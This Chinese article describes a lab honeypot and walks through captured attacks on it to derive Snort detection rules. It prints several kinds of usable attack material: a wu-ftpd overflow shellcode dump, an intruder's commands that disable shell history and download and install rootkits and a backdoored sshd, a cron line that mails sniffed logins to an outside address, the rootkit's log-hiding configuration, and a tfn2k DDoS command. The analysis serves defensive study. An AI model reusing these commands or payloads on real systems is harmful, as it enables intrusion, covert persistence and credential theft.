蜜罐进阶之Hit@me入侵分析
最近在翻阅PPTP的资料,偶然发现www.couterpane.com的pptp-faq写的非常有趣,其中的大概意思:“微软的PPTP协议很烂,其协议本身的六种漏洞使得攻击行为能透过网络嗅探密码,潜入加密通道,获得可信数据并能对PPTP实施Dos攻击使其瘫痪。PPTP协议本身是非常安全,但是微软所实现的PPTP协议却是一堆垃圾。Bruce Schneier和Mudge两个安全小组建议使用IPSec来代替微软的破烂货。”世界上最大的软件公司的安全产品存在这样幼稚的错误,那么置身于众多的安全产品中,我们是否真能感到安全所带来幸福?
于是我们有了测试的必要。架设自己的蜜罐系统,并在其中实现各种系统和相关产品的虚拟实现,使之模拟真实的网络服务资源来诱捕各种攻击行为,这样的方式变成了我们解安全漏洞、熟悉入侵手法和研究防御策略最好途径。因此,入侵数据分析似乎时髦起来。
建立Hit@me①蜜罐半个月之久,在实验环境中对其进行各种攻击测试(由于诱布入侵行为是个时间过程,为了完成对入侵数据的测试,我邀请了两个助手在实验环境下对蜜罐进行各种攻击实验),我搜集很多有趣的数据资源。为了让分析过程有趣生动,我将以入侵不同操作系统来评析入侵的数字化行为。
Linux入侵数字化分析端口扫描数字化特征
在ACID的输出显示中,存在着大量"IDS441/scan_probe-Synscan-Portscan"的记录,并且其目标IP地址是指向模拟的Redhat7.1系统。从记录的字面含义,隐约能获得其记录大概是对系统发起的syn的TCP端口扫描。为了进行明确的了解其数字特征,捕获其中几个包记录:
5/13-17:54:10.623674 192.168.1.244:117 -> 192.168.1.250:117
TCP TTL:42 TOS:0x0 ID:39426
**SF**** Seq: 0x55A0EF7B Ack: 0x40F9DC84 Win: 0x404
5/13-17:54:10.623674 192.168.1.244:118 -> 192.168.1.250:118
TCP TTL:42 TOS:0x0 ID:39426
**SF**** Seq: 0x6E42083A Ack: 0x4F07A60B Win: 0x404
分析TCP/IP包头,有这样一些有趣的现象:
1、IP header中Fragment Idnetification字段中的数值始终是39426
2、TCP的源端口号始终与目标地址的端口号一致
3、TCP的确认号中SYN和FIN始终置位
4、窗口尺寸始终为0x404
众所周知,在数据包中置位SYN意味着往目标端口发送的SYN分组,如果接收到目标回馈的SYN/ACK,则推断该端口处于监听状态;如果接收到RST/ACK则端口没有开放。而FIN置位的包可以使目标系统对其关闭的端口反馈一个RST分组(具体可参阅RFC0793)。所有迹象表明:系统遭受了隐秘的半开扫描(half-open scanning)。
结论:SYN - FIN 的数字特性发生于端口扫描事件中;并且这种扫描发包 ID号为39426,而另一个显著特征则是其窗口尺寸大小为0x404。于是当我检阅snort的入侵规则库时,其特征代码如下:
alert TCP $EXTERNAL any -> $INTERNAL any (msg: "IDS441/scan_probe-Synscan-Portscan";id: 39426; flags: SF; classtype: info-attempt; reference: arachnids,441
(注:通过对包结构分析,我们可以轻松定义自己的入侵检测特征添入snort的规则库中。)
#2
FTP远程溢出数字特征
继续观测ACID提供的便利输出,我发现在对RH7.1的21端口记录的入侵检测是这样记录的:“IDS287/ftp_ftp-wuftp260-venglin-linux”。这让我想起在RH7.1中使用的wuftp的漏洞是由于密码或者用户名过长可以产生远程溢出,并且我绝对相信Securityfocus给出了这个漏洞的利用代码不止一个!
而对于这样的溢出攻击,我们需要捕获什么样的数据才能获得入侵后的行为?很多平常的思维模式是:截获入侵者所输入的超长密码,当密码长度超过特定限制便触发入侵检测记录其行为。但是,这里存在一个问题,exploit的程序不只一个,溢出的密码串也形形色色,如何为其规定一个统一的数字特征呢?于是搜集溢出后服务器回馈的信息代码成了我非常感兴趣的目标,而且这绝对是个妙极的主意!为证实我的想法并剖析其漏洞利用原理,数据截包如下:
05/14-01:25:38.420608 192.168.1.18:1968 -> 192.168.1.250:21
tcp TTL:64 TOS:0x10 ID:31579 DF
*****PA* Seq: 0x6BF2C954 Ack: 0xE69A711B Win: 0x7FB8
TCP Options => NOP NOP TS: 58495044 3110955
50 41 53 53 20 90 90 90 90 90 90 90 90 90 90 90 PASS ...........
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 31 C0 31 DB 31 ...........1.1.1
C9 B0 46 CD 80 31 C0 31 DB 43 89 D9 41 B0 3F CD ..F..1.1.C..A.?.
80 EB 6B 5E 31 C0 31 C9 8D 5E 01 88 46 04 66 B9 ..k^1.1..^..F.f.
FF FF 01 B0 27 CD 80 31 C0 8D 5E 01 B0 3D CD 80 ....''..1..^..=..
31 C0 31 DB 8D 5E 08 89 43 02 31 C9 FE C9 31 C0 1.1..^..C.1...1.
8D 5E 08 B0 0C CD 80 FE C9 75 F3 31 C0 88 46 09 .^.......u.1..F.
8D 5E 08 B0 3D CD 80 FE 0E B0 30 FE C8 88 46 04 .^..=.....0...F.
31 C0 88 46 07 89 76 08 89 46 0C 89 F3 8D 4E 08 1..F..v..F....N.
8D 56 0C B0 0B CD 80 31 C0 31 DB B0 01 CD 80 E8 .V.....1.1......
90 FF FF FF FF FF FF 30 62 69 6E 30 73 68 31 2E .......0bin0sh1.
2E 31 31 0D 0A .11..
从截获的FTP登录数据包,我们发现在密码验证的时候(即在PASS指令之后),输入超长的密码口令(发送适当的shellcode能成功溢出wu-ftpd,例如象wu-lnx.c类型的程序),如果成功溢出,服务器回馈31c031db 31c9b046 cd80 31c031db的16进制信息(即上表中的1.1.1..F..1.1.的数字特征),随后获得远程系统root的/bin/sh。
由于服务器溢出信息回馈无数据偏移,即Dataoffset为零,由此我们得到了snort的又一入侵特征规则:
alert TCP $EXTERNAL any -> $INTERNAL 21 (msg: "IDS287/ftp_ftp-wuftp260-venglin-linux"; flags: A+; content: "|31c031db 31c9b046 cd80 31c031db|"; classtype: system-attempt; reference: arachnids,287
#3
全面入侵数字解析
入侵者通过端口扫描、漏洞利用等方式获得了系统的控制权限,接下来他该做什么?许多电影情节中,非法闯入他人住宅,在不起眼的角落藏匿物件然后嫁祸于人的做法很司空见惯。于是把这种思维运用于Internet成了理所应当的现实!
通过数据包的监测追踪,我发现入侵者运行许多非常有趣的命令,为了便于说明其手法,我从追捕的数据包中整理了其精致的个性行为,并在必要命令旁加入注释:
#unset HISTFILE;id;uname -a;
uid=0(root) gid=0(root) groups=0(root), 1(bin), 2(daemon), 3(sys), 4(adm), 6(disk), 10(wheel)
Linux res 2.4.7-4 #1 Thu Sep 6 17:27:27 EDT 2001 i686 unknown
/* 入侵者取消HISTFILE环境变量,系统无法记录入侵者所使用的命令;
* 查看ID属性,确认成功溢出获得root权限;
*/ 查看所控制的系统环境
#mkdir /var/tmp/…
#cd /var/tmp/…
#wget http://packetstormsecurity.org/U ... its/lrk5.src.tar.gz /* 在/var/tmp建立一个隐含的“…”目录
* 试图利用wget从packetstormsecurity.org下载一个rootkit后门
*/ 很佩服入侵者的记忆,能记住后门的准确URL地址并且大小写单词也非常准确,赞!
#ls –al /usr/bin/wget
ls: /usr/bin/wget: No such file or directory
#find / -name wget –print
/* 遗憾的是系统中没有安装wget,然而这使入侵过程变的更为有趣!
*/ 这期间,入侵行为大约停滞了5、6分钟(估计他在考虑如何下载程序)。
#lynx –source packetstormsecurity.org/UNIX/penetration/rootkits/lrk5.src.tar.gz \
>>lrk5.src.tar.gz
#tar lrk5.src.tar.gz
lrk5/bindshell.c
lrk5/chfn/chfn.c
lrk5/chfn/setpwnam.c
lrk5/chsh/chsh.c
lrk5/chsh/setpwnam.c
lrk5/fileutils-3.13/intl/bindtextdom.c
lrk5/fileutils-3.13/intl/dcgettext.c
lrk5/fileutils-3.13/intl/dgettext.c
lrk5/fileutils-3.13/intl/gettext.c
lrk5/fileutils-3.13/lib/strtoul.c
lrk5/fileutils-3.13/lib/Makefile
lrk5/fileutils-3.13/lib/group_member.c
lrk5/inetd/inetd.c
lrk5/inetd/daemon.c
lrk5/login/login.c
lrk5/login/checktty.c
lrk5/passwd/passwd.c
lrk5/passwd/islocal.c
lrk5/procps-1.01/
lrk5/procps-1.01/ps.c
lrk5/procps-1.01/psmisc/
lrk5/procps-1.01/psmisc/pstree.c
lrk5/procps-1.01/top.c
lrk5/procps-1.01/utmp.c
lrk5/rshd/rshd.c
lrk5/sysklogd-1.3/
lrk5/sysklogd-1.3/syslog.c
lrk5/sysklogd-1.3/syslogd.c
lrk5/ssh-2.0.13/
lrk5/ssh-2.0.13/mkinstalldirs
lrk5/ssh-2.0.13/INSTALL
lrk5/ssh-2.0.13/lib/
lrk5/sniffer/
lrk5/sniffer/ip.h
lrk5/sniffer/tcp.h
lrk5/sniffer/bpf.h
lrk5/sniffer/pcap.h
lrk5/sniffer/Makefile
lrk5/sniffer/libpcap-0.4.tar
lrk5/sniffer/thesniff.c
……
#make all install
/* 安装了一个庞大rootkit工具包,这里列出了包中的少量文件存放路径(真实
* 的解压因其长度占用篇幅太多,故作截选),从名字大体可以判断来示意此
*/ rootkit各种惊人功能,触目惊心的感觉!
#cd ..
#rm –rf lrk*
#lynx www.asiic.com/asiic/code/trojans/lrk4.src.tar.gz >lrk4.src.tar.gz
#tar zxvf lrk4.src.tar.gz
#make all install
#vi rootkit.h
~include<net/if.h>
#cd ..
#rm –rf lrk
/* 这一部分的操作看起来有点奇特,后来才知道由于lrk5编译失败后
* 攻击者下载了lrk4的rootkit,修改rootkit.h文件,并成功安装lrk
*/ 后门程序
#4
为了检查入侵者安装的lrk4,我在实验环境中下载并编译lrk4包。对比原系统文件,其系统命令大部分被替换,这种极度渗透对于经验丰富的网络管理员将是一场噩梦!分析结构图如下(部分分析从源码文档翻译获得):
包目录结构:
bindshell 端口/SHELL的守护进程
chfn 木马程序,当用户输入密码时,可获得root权限
chsh 木马程序,在获得Shell使用的时候运行,可获得root权限
crontab 木马程序,隐藏时间记录
(注:比如,定期运行隐藏目录…中的backdoor程序,可以使用
blackhat 20,*,*,*,* /var/tmp/…/backdoor >/dev/null 2>&1
)
du 木马程序,隐藏文件。
find 木马程序,隐藏文件。
fix 替代和修改文件的时期戳和校验和
ifconfig 在sniff进行窃听的时候,使其promise状态不可见
inetd 提供无须验证的远程访问服务。
killall 不杀隐含的进程中含有linsniff和hack字端的进程
linsniffer 包嗅探器
login 可以使用rootkit提供的密码登录任意帐号。假如使用root登录被拒绝,可以使用”rewt”登录。当登录成功后,关闭历史日志记录。
ls 隐藏文件和目录。假如定义rootkit.h的SHOWFLAG,可以使用ls -/查看所有文件。只要文件名或者目录名为”ptyr”、”hack.dir”、”w4r3z”就被自动隐藏。我们也可通过/dev/ptyr增加隐藏文件名的定义。
netstat 修改或者隐藏TCP/UDP连接的端口、套接字、IP地址或uid等连接参数。
/dev/ptyq中定义了隐藏类型:
type 0: 隐藏uid号
type 1: 隐藏本地地址
type 2: 隐藏远程地址
type 3: 隐藏本地端口
type 4: 隐藏远程端口
type 5: 隐藏UNIX套接字路径
#######实 例########
0 500 <- 隐藏UID号为500的连接
1 128.31 <- 隐藏128.31网段对本地的连接
2 128.31.39.20 <- 隐藏到128.31.39.20的远程连接
3 8000 <- 隐藏所有本地端口为8000的连接
4 6667 <- 隐藏所有远程端口为6667的连接
5 .term/socket <-隐藏包括于.term/socket的套接字连接
passwd 输入rootkit的密码取代系统原有密码
pidof 类似于ps和killall。它通常返回命令的pid号。任何类似于ps木马程序所定义的进程类型2或进程类型3,具体含义可参阅ps说明。
ps 隐藏指定的进程。其数据定义文件存放于/dev/ptyp中:
0 0 隐藏所有root权限运行的进程
1 p0 隐藏终端的进程
2 sniffer 隐藏所有以sniffer命名的进程
3 hack 隐藏所有带有hack字段的进程
象proghack1, hack.scan, snhack等一类的进程会自动隐藏。假如定义文件不起作用,确信在命名的类型定义字段后面没有多余的空格符
rshd 以root权限执行远程命令。
用法:rsh -l rootkitpassword host_addr command
例如:rsh -l rootpass test.org /bin/sh -i
将会启动一个root的shell进程(rootkit的密码可以在rootkit.h修改)
sniffchk 一个简单测试linsniff是否运行的BSH脚本, 如果不是长期窃听一台服务起的话,它的作用并不大。
syslogd 从日志文件中删除指定的字串记录。定义文件为/dev/ptys:
evil.com
123.100.101.202
rshd
日志中包含了“evil.com”、“123.100.101.202”和“rshd”的字串记录将完全从日志中清除干净。
tcpd 允许没有任何日志记录的访问主机系统。Tcpd使用类型1来实现文件定义。
例如:
1 123.4.5.6
将会建立tcp帮定连接,允许123.4.5.6的隐藏登录连接。
top 其作用以及定义文件和ps类似。
wted 这个程序可以做很多事情。你可以观看wtmp或者utmp文件中的所有记录,按照用户名或主机名删除记录,查看zappped用户 (管理员用此类似的工具来查找删除的记录),删除zapped用户等。
z2 Zapper2的缩写,运行它可以擦除一个用户在utmp/wtmp/lastlog文件的所有记录。
#5
汗流浃背的观察lkr4所安装的木马后,现在让我感兴趣的是它们的安装过程,对比安装的二进制木马程序和系统原程序,我发现它们除了大小有所偏异,其文件属性、文件校验和和时间戳完全一样。于是我继续追踪其安装和编译路径:
#这是从源代码中截取的安装源文件代码
# Just to have a short-cut in the subdirectory Makefiles.
IBSD=-I/usr/include/bsd -include /usr/include/bsd/bsd.h
# These are just a common cases. Then we don''t have do write anything in the
# sublevel makefiles.
CFLAGS = ${O} ${IBSD}
LDLIBS = -lbsd
SUB = chfn chsh inetd login net-tools-1.32-alpha passwd \
procps-1.01 rshd sysklogd-1.3 tcpd_7.4 fileutils-3.13 cron3.0pl1 psmisc findutils/lib findutils/find
SHADOWSUB = inetd net-tools-1.32-alpha procps-1.01 rshd sysklogd-1.3 \
shadow-961025 tcpd_7.4 fileutils-3.13 cron3.0pl1 psmisc findutils/lib findutils/find
CC=gcc
all:
${CC} -o fix fix.c
${CC} -o z2 z2.c
${CC} -o wted wted.c
${CC} -O2 -o linsniffer linsniffer.c
${CC} -o bindshell bindshell.c
for i in $(SUB); do make -C $$i; done
mv chfn/chfn bin
mv chsh/chsh bin
mv login/login bin
mv passwd/passwd bin
shadow:
${CC} -o fix fix.c
${CC} -o z2 z2.c
${CC} -o wted wted.c
${CC} -O2 -o linsniffer linsniffer.c
${CC} -o bindshell bindshell.c
for i in $(SHADOWSUB); do make -C $$i; done
mv shadow-961025/src/chfn bin
mv shadow-961025/src/chsh bin
mv shadow-961025/src/login bin
mv shadow-961025/src/passwd bin
install:
if [ -x /usr/bin/chfn ] && [ -x bin/chfn ]; then ./fix /usr/bin/chfn bin/chfn; fi
if [ -x /usr/bin/chsh ] && [ -x bin/chsh ]; then ./fix /usr/bin/chsh bin/chsh; fi
if [ -x /bin/login ] && [ -x bin/login ]; then ./fix /bin/login bin/login; fi
if [ -x /bin/ls ] && [ -x fileutils-3.13/src/ls ]; then ./fix /bin/ls fileutils-3.13/src/ls; fi
if [ -x /bin/du ] && [ -x fileutils-3.13/src/du ]; then ./fix /bin/du fileutils-3.13/src/du; fi
if [ -x /usr/bin/passwd ] && [ -x bin/passwd ]; then ./fix /usr/bin/passwd bin/passwd; fi
if [ -x /bin/ps ] && [ -x procps-1.01/ps ]; then ./fix /bin/ps procps-1.01/ps; fi
if [ -x /usr/bin/top ] && [ -x procps-1.01/top ]; then ./fix /usr/bin/top procps-1.01/top; fi
if [ -x /usr/sbin/in.rshd ] && [ -x rshd/rshd ]; then ./fix /usr/sbin/in.rshd rshd/rshd; fi
if [ -x /bin/netstat ] && [ -x net-tools-1.32-alpha/netstat ]; then ./fix /bin/netstat net-tools-1.32-alpha/netstat; fi
if [ -x /sbin/ifconfig ] && [ -x net-tools-1.32-alpha/ifconfig ]; then ./fix /sbin/ifconfig net-tools-1.32-alpha/ifconfig; fi
if [ -x /usr/sbin/syslogd ] && [ -x sysklogd-1.3/syslogd ]; then ./fix /usr/sbin/syslogd sysklogd-1.3/syslogd; fi
if [ -x /usr/sbin/inetd ] && [ -x inetd/inetd ]; then ./fix /usr/sbin/inetd inetd/inetd; fi
if [ -x /usr/sbin/tcpd ] && [ -x tcpd_7.4/tcpd ]; then ./fix /usr/sbin/tcpd tcpd_7.4/tcpd; fi
if [ -x /usr/bin/killall ] && [ -x psmisc/killall ]; then ./fix /usr/bin/killall psmisc/killall; fi
if [ -x /bin/killall ] && [ -x psmisc/killall ]; then ./fix /bin/killall psmisc/killall; fi
if [ -x /usr/bin/pidof ] && [ -x psmisc/killall ] && [ -x /bin/killall ]; then ln -sf /bin/killall psmisc/pidof; fi
if [ -x /usr/bin/pidof ] && [ -x psmisc/killall ] && [ -x /usr/bin/killall ]; then ln -sf /usr/bin/killall psmisc/pidof; fi
if [ -x /usr/bin/pidof ] && [ -x psmisc/killall ] && [ -x /usr/bin/killall ]; then ./fix /usr/bin/pidof psmisc/pidof; fi
if [ -x /sbin/pidof ] && [ -x psmisc/killall ] && [ -x /usr/bin/killall ]; then ./fix /sbin/pidof psmisc/pidof; fi
if [ -x /usr/bin/find ] && [ -x findutils/find/find ]; then ./fix /usr/bin/find findutils/find/find; fi
clean:
rm -f fix z2 wted linsniffer bindshell bin/*
for i in $(SUB); do make -C $$i clean; done
for i in $(SHADOWSUB); do make -C $$i clean; done
small:
for i in $(SUB); do strip $$i/*; done
for i in $(SHADOWSUB); do strip $$i/*; done
for i in $(SUB); do rm $$i/*.o; done
for i in $(SHADOWSUB); do rm $$i/*.o; done
从代码分析中可以看出,rootkit的安装其实是个很有条理的入侵过程。首先把编译好的二进制文件放如bin目录中;利用if语句比较原系统文件和木马程序,并把系统文件的属性值赋予这些木马程序,使其看起来和正常的命令文件并无二致;最后,扫除编译时候所残留的工具。
#6
这里顺便提到一点额外的知识,关于木马(trojan)的具体含义,许多专业bbs站点都有自己神话色彩的解释,于是混乱的解释干扰我们对木马的偏见认识,这里我给出RFC1244对其真实而朴质的描述:
“特洛伊木马是一种程序,它做某些有用的事情或者纯粹是一些有趣的事情。它总是做一些出人意料的事情。比如盗窃密码或者在没有你的认可下拷贝文件等。”
不管安装木马的作法会遭受Whitehat如何谴责,我们仍旧相信这种入侵的兴盛不衰正是强烈的控制欲诱惑让入侵者感到刺激和兴奋。
分析完毕rootkit的供效后,我们继续分析入侵者的剩余行为,发现了更为有趣的记录:
#mkdir /dev/ptyr
#cd /var/tmp/…
#lynx –source packetstormsecurity.nl/crypt/ssh/old/ssh-1.2.27.tar.gz >ssh-1.2.27.tar.gz
#lynx –source packetstormsecurity.nl/UNIX/penetration/rootkits/rkssh5.tar.gz \
>> rkssh5.tar.gz
#tar zxvf ssh-1.2.27.tar.gz
#tar zxvf rkssh5.tar.gz
#cp rkssh5/rk-ssh.diff ssh-1.2.27
#patch -p1 < rk-ssh.diff
#./configure –prefix=/dev/ptyr
#make
#make install
#cd ..
#rm –rf *
/* 以上入侵步骤是安装了一个打过补丁的SSHD服务器,并销毁其上载的文件。
* 于是查阅rkssh5的帮助文档,其作者声称是关于SSH的后门程序,所设置的默
* 认密码为 “global”,从跟踪记录看,入侵者并没有修改默认配置!而建立/dev/ptyr
*/ 目的则是为了隐藏。还记得rootkit中对ls工具的分析吗?J
入侵者继续扩大自己的战果,实现着自己的野心……相继修改/dev/ptyq,实现对3000端口的隐藏(netstat木马);修改/dev/ptys,实现对163.com字段的隐藏(syslogd木马);修改/dev/ptyp,实现对linsniffer和sshd进程的隐藏(ps木马)。
#/dev/ptyr/bin/sshd &
#./linsniffer > /dev/ptyr/tcp.log &
#crontab –e
* 1 * * * /sbin/sendmail vincenttp97@hotmail.com < /dev/ptyr/tcp.log
/* 运行ssh的后门程序,并且隐藏在3000端口进行监听;
* 运行linsniffer捕获网络环境的TCP连接(各种telnet、pop等认证会话);
* 最后,定制发送日志的时间,并且这些记录不会记录于系统日志中。
* 在整个精致的攻击过程,一切看来是完美无缺的。但是入侵者在定制
* 发送日志的时候,却留下了一个免费邮箱地址。对于一个敏锐的网络
* 管理员来说,它绝对是追查入侵者的有利线索!(本篇主要是针对入侵数据
*/ 做定性分析,因此不涉及反追踪技术的研究)
本次系统攻击,无论从端口扫描、远程溢出、Rootkit的安装还是从系统的窃听和监测等系列活动中,我们可以欣赏攻击者颇为文雅和谨慎的入侵风格。利用蜜罐系统,我们获得的更为真实的战斗场面,而且可以亲自观察这种巧妙入侵linux字符世界各种有趣行为。这种偷窥行为给我带来的愉快感绝不逊于入侵者侵蚀系统的宣泄郁愤的痛快心情。J
#7
IIS_Translate_F漏洞特征数字
Translate_F这个漏洞是IIS很早漏洞,之所以在这里对其进行数字解析的原因在于它是IIS存漏洞利用中比较经典的例子之一。在蜜罐的入侵侦测数据库中找到了根据漏洞的进行的攻击记录,以下是数据入侵的请求包:
08/18-12:53:14.293999 192.168.1.244:15253 -> 192.168.1.252:80
TCP TTL:53 TOS:0x0 ID:31083 DF
*****PA* Seq: 0x90F90192 Ack: 0x251D6AF2 Win: 0x2238
TCP Options => NOP NOP TS: 3060457 0
47 45 54 20 2F 70 61 67 65 73 2F 63 6F 6E 74 61 GET /pages/conta
63 74 2E 61 73 70 5C 20 48 54 54 50 2F 31 2E 30 ct.asp\ HTTP/1.0
0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 6C 69 ..User-Agent: li
62 77 77 77 2D 70 65 72 6C 2F 35 2E 34 35 0D 0A bwww-perl/5.45..
43 6F 6E 74 65 6E 74 2D 54 79 70 65 3A 20 74 65 Content-Type: te
78 74 2F 68 74 6D 6C 0D 0A 54 72 61 6E 73 6C 61 xt/html..Transla
74 65 3A 20 66 0D 0A 58 2D 46 6F 72 77 61 72 64 te: f..X-Forward
65 64 2D 46 6F 72 3A 20 32 30 39 2E 31 38 37 2E ed-For: 103.164.
31 34 30 2E 31 39 32 0D 0A 48 6F 73 74 3A 20 77 002.134..Host: w
77 77 2E 65 78 74 72 65 6D 65 6C 6F 67 69 63 2E ww.aaaaaaaaaaaa.
63 6F 6D 0D 0A 43 6F 6E 74 65 6E 74 2D 4C 65 6E com..Content-Len
67 74 68 3A 20 31 38 0D 0A 56 69 61 3A 20 31 2E gth: 18..Via: 1.
31 20 6E 65 74 63 61 63 68 65 30 31 2E 67 77 2E 1 netcache01.aa.
74 6F 74 61 6C 2D 77 65 62 2E 6E 65 74 20 28 4E aaaaaaaaa.net (N
65 74 43 61 63 68 65 20 34 2E 30 52 34 44 31 31 etCache 4.0R4D11
29 0D 0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 4B )..Connection: K
65 65 70 2D 41 6C 69 76 65 0D 0A 0D 0A eep-Alive....
微软IIS5.0有一个专用搜索用于检索ASP、ASA和HTR等文件。这个引擎处理这些类型文件的请求并相应的处理它们,并在服务器执行它们。当在HTTP get请求语句中包括带有”Translate: f”的请求头文件,那么服务器会把对这些文件请求以源代码的形式发送给客户,从而造成网站密码泄露事件。
从此数据包中,我们可以明确的看出HTTP请求的试探语法:”Translate: f”的字符串。根据上述的分析经验,我们能很快确定其入侵规则检查语法:
alert TCP $EXTERNAL any -> $INTERNAL 80 (msg: "IDS305/web-iis_http-iis_translate_f"; flags: A+; content: "|4 72 61 6E 73 6C 61 74 65 3A 20 66 |"; nocase; classtype: info-attempt; reference: arachnids,305
注意:熟练掌握入侵规则的编写方法便利于网络管理员能灵活的增加各种入侵检测条件,日益完善入侵检测的规则机制,从而建立更加优秀的蜜罐系统。
通过对windows两个有趣实例的测试,我们结束了整个入侵数据分析测试。虽然对windows我没有展开去分析,但是相信其整体的分析方法同上面的许多数据分析是一致的思路,因此举一反三,我们能自如的运用这种手段来分析解决这些暗藏的数字行为。
#8
Tribe FloodNet 2k(tfn2k)的Dos测试
最后,我分析蜜罐的中发生DDos攻击时,tfn2k主机之间的协同作战的数据联系。在实验环境中使用了2套Redhat7.2,安装了td,并在蜜罐中使用tfn控制两台机器进行协同作战(关于tfn2k的安装及其使用可以参考tfn2k.tgz的README文档,这里不做赘述)。使用“./tfn -f hosts.txt -c 6 -i 192.168.1.235”的ICMP攻击,大约20多分钟,系统已经处于瘫痪状态。
数据包跟踪截断如下:
5/15-00:03:33.277786 192.168.1.235 -> 192.168.1.250
ICMP TTL:246 TOS:0x0 ID:21972
ID:0 Seq:4830 ECHO REPLY
72 79 61 46 54 63 38 48 65 6D 65 75 50 39 53 32 ryaFTc8HemeuP9S2
6E 45 66 35 69 51 41 41 41 41 41 41 41 41 41 41 nEf5iQAAAAAAAAAA
41 41 41 41 41 41 41 41 AAAAAAAA
开始分析这个截流包的时候,我疑惑了很长一段时间,因为“ryaFTc8HemeuP9S2
nEf5iQ”这样的字符串并不代表具体含义,这里让我想到的是:在tfn2k主机之间的通讯是加密的。但在监测这种加密通讯时,我却发现每次加密字串是无规律的。后来,在仔细查看了tnf2k的文档才发现作者使用CAST-256 加密算法对通讯字串加密之后在使用base64进行解码,当td服务器自动对字串解密,实现协同作战之间的单项联系。
那么,我们如何得到这种攻击行为的特征代码呢?经过对包的ip头和icmp头进行分析,可以发现这样一个固定的数字行为: ICMP类型
ICMP ID号
0(icmp echo reply)
0
即:ICMP包为icmp echo replay类型,且其ID永远为0;当然,仅靠这些数字特征并不能表示网络安装了tfn2k的服务,应该注意到,在加密字串后面有一串连续的“AAAAAAAA”,根据作者声称,这些字符是用于填充作用的。现在我们能很快写出其入侵特征规则:
alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"DDOS tfn2k icmp possible communication"; itype: 0; icmp_id: 0; content: "AAAAAAAAAA"; reference:arachnids,425; classtype:attempted-dos; sid:222; rev:1
对TNF2K分析完毕,我们获得分布式拒绝攻击的数字协作特征的许多有趣资料。这对于我们分析更多的攻击方式将是非常便利的手段!
9
小结
利用蜜罐技术来模拟真实的网络服务资源环境,这大大方便我们研究网络安全结构、修补复杂网络环境中存在的各种弊病,同时实现对操作系统、安全产品的测试和质量评判。当然,Hit@me结构的蜜罐也存在着一些缺陷,比如,当入侵者使用隐秘的SSH登录,则无法监测其行为特性;在实现虚拟系统中如何引诱攻击行为;庞大的数据资源如何快速加工整理等若干问题。我希望大家能和我一起讨论并解决这些存在的困难。蜜罐在安全问题日益严重的今天,越来越体现了它无比优越的实用性。
参考资料
1、 www.snort.org
2、 www.whitehouse.com
3、 cve.mitre.org
4、 www.sans.org
5、 《最高安全机密》 3RD,机械工业出版社
6、《黑客大暴光 3RD》,机械工业出版社
http://www.hack58.net/Article/60/63/2005/4450.htm
于是我们有了测试的必要。架设自己的蜜罐系统,并在其中实现各种系统和相关产品的虚拟实现,使之模拟真实的网络服务资源来诱捕各种攻击行为,这样的方式变成了我们解安全漏洞、熟悉入侵手法和研究防御策略最好途径。因此,入侵数据分析似乎时髦起来。
建立Hit@me①蜜罐半个月之久,在实验环境中对其进行各种攻击测试(由于诱布入侵行为是个时间过程,为了完成对入侵数据的测试,我邀请了两个助手在实验环境下对蜜罐进行各种攻击实验),我搜集很多有趣的数据资源。为了让分析过程有趣生动,我将以入侵不同操作系统来评析入侵的数字化行为。
Linux入侵数字化分析端口扫描数字化特征
在ACID的输出显示中,存在着大量"IDS441/scan_probe-Synscan-Portscan"的记录,并且其目标IP地址是指向模拟的Redhat7.1系统。从记录的字面含义,隐约能获得其记录大概是对系统发起的syn的TCP端口扫描。为了进行明确的了解其数字特征,捕获其中几个包记录:
5/13-17:54:10.623674 192.168.1.244:117 -> 192.168.1.250:117
TCP TTL:42 TOS:0x0 ID:39426
**SF**** Seq: 0x55A0EF7B Ack: 0x40F9DC84 Win: 0x404
5/13-17:54:10.623674 192.168.1.244:118 -> 192.168.1.250:118
TCP TTL:42 TOS:0x0 ID:39426
**SF**** Seq: 0x6E42083A Ack: 0x4F07A60B Win: 0x404
分析TCP/IP包头,有这样一些有趣的现象:
1、IP header中Fragment Idnetification字段中的数值始终是39426
2、TCP的源端口号始终与目标地址的端口号一致
3、TCP的确认号中SYN和FIN始终置位
4、窗口尺寸始终为0x404
众所周知,在数据包中置位SYN意味着往目标端口发送的SYN分组,如果接收到目标回馈的SYN/ACK,则推断该端口处于监听状态;如果接收到RST/ACK则端口没有开放。而FIN置位的包可以使目标系统对其关闭的端口反馈一个RST分组(具体可参阅RFC0793)。所有迹象表明:系统遭受了隐秘的半开扫描(half-open scanning)。
结论:SYN - FIN 的数字特性发生于端口扫描事件中;并且这种扫描发包 ID号为39426,而另一个显著特征则是其窗口尺寸大小为0x404。于是当我检阅snort的入侵规则库时,其特征代码如下:
alert TCP $EXTERNAL any -> $INTERNAL any (msg: "IDS441/scan_probe-Synscan-Portscan";id: 39426; flags: SF; classtype: info-attempt; reference: arachnids,441
(注:通过对包结构分析,我们可以轻松定义自己的入侵检测特征添入snort的规则库中。)
#2
FTP远程溢出数字特征
继续观测ACID提供的便利输出,我发现在对RH7.1的21端口记录的入侵检测是这样记录的:“IDS287/ftp_ftp-wuftp260-venglin-linux”。这让我想起在RH7.1中使用的wuftp的漏洞是由于密码或者用户名过长可以产生远程溢出,并且我绝对相信Securityfocus给出了这个漏洞的利用代码不止一个!
